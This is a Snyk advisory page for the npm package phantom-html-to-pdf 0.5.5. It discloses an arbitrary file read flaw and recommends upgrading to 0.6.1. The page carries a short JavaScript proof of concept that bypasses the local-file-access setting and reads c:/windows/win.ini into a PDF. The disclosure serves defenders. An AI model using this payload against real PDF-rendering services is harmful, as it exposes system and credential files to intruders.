Homepage
About Snyk

phantom-html-to-pdf@0.5.5 vulnerabilities

Convert html to pdf using phantomjs

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the phantom-html-to-pdf package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Arbitrary File Read

phantom-html-to-pdf is a Convert html to pdf using phantomjs

Affected versions of this package are vulnerable to Arbitrary File Read.

PoC

var fs = require('fs')
var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false
conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) {
var output = fs.createWriteStream('output.pdf')
console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});

How to fix Arbitrary File Read?

Upgrade phantom-html-to-pdf to version 0.6.1 or higher.

<0.6.1
Go back to all versions of this package